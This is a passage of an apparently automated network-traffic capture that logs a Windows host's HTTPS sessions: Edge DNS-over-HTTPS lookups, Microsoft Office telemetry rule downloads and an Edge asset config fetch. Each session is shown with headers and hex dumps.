Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-16 22:36:34 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-16 22:36:34 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-16 22:36:34 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-16 22:36:34 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49849	162.159.61.3	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:33 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 22:36:33 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-16 22:36:33 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 16 Nov 2024 22:36:33 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3af5e81c3b1445-DFW alt-svc: h3=":443"; ma=86400
2024-11-16 22:36:33 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ad 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49850	162.159.61.3	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:33 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 22:36:33 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-16 22:36:34 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 16 Nov 2024 22:36:33 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3af5e84febc86f-DFW alt-svc: h3=":443"; ma=86400
2024-11-16 22:36:34 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 98 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:33 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 93022022-f01e-00aa-73a0-368521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223634Z-164f84587bfdt5l2hC1DFW88gs00000001t0000000008yra x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 22:36:34 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:33 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:34 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 806b7f82-201e-0003-669a-36f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223634Z-16547b76f7fz92z5hC1DFWmdx800000001sg000000006mgx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:34 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:33 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:34 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0269dba3-501e-0035-248e-37c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223634Z-16547b76f7fm8pcwhC1DFWaxcc00000001kg000000004udu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 22:36:34 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49853	162.159.61.3	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:33 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 22:36:33 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-16 22:36:34 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 16 Nov 2024 22:36:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3af5e8fed5282e-DFW alt-svc: h3=":443"; ma=86400
2024-11-16 22:36:34 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 40 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom@t^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:34 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:34 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 416d43dc-f01e-003f-18d2-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223634Z-1866b5c5fbblmqrkhC1DFWf9ns00000001kg000000006pzd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:34 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:34 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:34 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 6b1971c7-b01e-0053-1140-36cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223634Z-16547b76f7fnlq8chC1DFWxnen000000034g00000000by7d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:34 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49854	13.107.246.45	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:34 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:34 UTC	576	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:34 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: 32fa03f4-d01e-004c-7ddf-37af18000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T223634Z-16547b76f7fqqjnnhC1DFWxv7400000001sg0000000080t2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:34 UTC	15808	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
